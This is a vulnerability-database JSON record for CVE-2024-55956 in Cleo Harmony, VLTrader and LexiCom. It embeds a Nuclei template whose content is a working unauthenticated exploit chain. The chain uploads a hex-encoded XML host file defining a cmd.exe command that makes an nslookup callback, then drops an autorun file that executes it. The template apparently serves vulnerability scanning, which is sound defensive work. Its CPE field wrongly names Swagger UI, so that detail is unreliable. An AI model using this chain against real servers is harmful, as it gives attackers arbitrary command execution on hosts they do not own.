{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-55956/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-55956/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-55956/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-55956/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-55956/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-55956"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-55956"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-55956.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-55956\n\ninfo:\n  name: Cleo Harmony < 5.8.0.24 - File Upload Vulnerability\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary Bash or PowerShell commands on the host system by exploiting the default Autorun directory settings, achieving complete system compromise.\n  remediation: |\n    Update Cleo Harmony, VLTrader, and LexiCom to version 5.8.0.24 or later to address the arbitrary command execution vulnerability.\n  reference:\n    - https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-55956\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-55956\n    cwe-id: CWE-276\n    epss-score: 0.93968\n    epss-percentile: 0.99842\n    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: 'Server: Cleo'\n  tags: cve,cve2024,intrusive,cleo,file-upload,kev,vkev,vuln\n\nflow: http(1) && http(2)\n\nvariables:\n  payload_1: \"{{ hex_decode('3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0a3c486f737420616c6961733d2264376363323439302d303361392d343861382d386166642d62643730343263666462643522206170706c69636174696f6e3d22222062793d2241646d696e6973747261746f722220636c6173733d222a437777514e77776245523453456841384578346345444e525151775242777362476b35544551644f45415557546b4d2a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d22547275652220656e633d2239353732343634652d373862352d343633352d386133622d30623937393964643862663922206c6f63616c3d225472756522206d6f646576656e743d224d6f64696669656422206d6f6469666965643d22323032302f31302f31302030303a30303a303022206d6f646974656d3d22266c743b636f70792667743b6d79436f6d6d616e6473404c6f63616c20436f6d6d616e647322206d6f64747970653d22416374696f6e732220707265636f6e666967757265643d22323030392f31302f33302031353a3135222072656164793d225472756522207374616e64616c6f6e65616374696f6e3d2246616c73652220746573743d2246616c736522207472616e73706f72743d222220747970653d2222207569643d2264363330613565622d326335612d343265362d393534302d373763326261353130363232222076657273696f6e3d2231223e0a20203c436f6e6e656374747970653e303c2f436f6e6e656374747970653e0a20203c496e626f783e696e626f783c2f496e626f783e0a20203c496e6465783e303c2f496e6465783e0a20203c496e646578646174653e2d313c2f496e646578646174653e0a20203c496e7465726e616c3e303c2f496e7465726e616c3e0a20203c4e6f7465733e5468697320636f6e7461696e73206d61696c626f78657320666f722061206c6f63616c20686f73742077686963682063616e206265207573656420666f72206c6f63616c20636f6d6d616e6473206f6e6c792e3c2f4e6f7465733e0a20203c4f726967696e3e4c6f63616c20436f6d6d616e64733c2f4f726967696e3e0a20203c4f7574626f783e6f7574626f783c2f4f7574626f783e0a20203c506f72743e303c2f506f72743e0a20203c52756e6e696e676c6f63616c72657175697265643e547275653c2f52756e6e696e676c6f63616c72657175697265643e0a20203c536563757265706f727472657175697265643e46616c73653c2f536563757265706f727472657175697265643e0a20203c556964737770643e547275653c2f556964737770643e0a20203c416476616e6365643e5a6970436f6d7072657373696f6e4c6576656c3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e584d4c456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f72697479496e636f6d696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e50475048617368416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f726974794f7574676f696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e504750436f6d7072657373696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e4f7574626f78536f72743d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e504750456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c4d61696c626f7820616c6961733d2265666337366261302d323061642d343763642d393534632d6364356435623436643333642220636c6173733d222a42784164457859654d67776245523453456841384578346345444e522220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206c6f63616c64656372797074636572743d2222206c6f63616c656e6372797074636572743d2222206c6f63616c7061636b6167696e673d224e6f6e652220706172746e657264656372797074636572743d222220706172746e65726465637279707470617373776f72643d222220706172746e6572656e6372797074636572743d222220706172746e65727061636b6167696e673d224e6f6e65222072656164793d225472756522207569643d2262376462323563372d383935652d343430642d393231372d393262326363643532326562222076657273696f6e3d2231223e0a202020203c416374696f6e20616374696f6e747970653d22436f6d6d616e64732220616c6961733d2236636164303764382d623239372d346465612d623065612d633666303338316534313637222062793d2241646d696e6973747261746f722220636c6173733d222a455241574378772b444273524868495345447754486877514d31452a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206d6f6469666965643d22323032302f31302f31302030303a30303a3030222072656164793d225472756522207569643d2261386236393166662d303332652d346662362d626562632d653635613330333265646364222076657273696f6e3d2232223e0a2020202020203c4175746f737461727475703e46616c73653c2f4175746f737461727475703e0a2020202020203c436f6d6d616e64733e3c215b43444154415b53595354454d20636d642e657865202f6320226e736c6f6f6b75702e65786520') }}\"\n  payload_2: \"{{ hex_decode('225d5d3e3c2f436f6d6d616e64733e0a2020202020203c46696c6573696e3e303c2f46696c6573696e3e0a2020202020203c46696c65736f75743e303c2f46696c65736f75743e0a2020202020203c53736c3e46616c73653c2f53736c3e0a202020203c2f416374696f6e3e0a20203c2f4d61696c626f783e0a3c2f486f73743e') }}\"\n  payload: \"{{ concat(payload_1, '{{interactsh-url}}', payload_2) }}\"\n  xml_file: \"{{randstr_1}}\"\n  autorun_file: \"{{randstr_2}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /Synchronization HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/form-data;boundary=--------boundary\n        VLSync: Multipart;l=0,Acknowledge\n\n        VLSync: ReceivedReceipt;service=\"AS2\";msgId=12345;path=\"temp/{{xml_file}}.tmp\";receiptfolder=Unspecified;\n        --------boundary\n        {{ zip(\"hosts/main.xml\", payload) }}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(response), \"cleo\")'\n          - 'len(body) == 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /Synchronization HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/form-data;boundary=--------boundary\n        VLSync: Multipart;l=0,Acknowledge\n\n        VLSync: ReceivedReceipt;service=\"AS2\";msgId=12345;path=\"autorun/{{autorun_file}}.txt\";receiptfolder=Unspecified;\n        --------boundary\n        -i \"temp/{{xml_file}}.tmp\"\n        -r \"<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'len(body) == 0'\n          - 'contains(interactsh_protocol, \"dns\")'\n        condition: and\n# digest: 4b0a00483046022100be84b0005ef6f66451fc651fd1357c691a10f9b512f4c41b836665363ab932340221009f0cad6270b5041d6825e584592b8e8debc0b8e982312ef2859ec0e53e3b9b14:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-55956"
}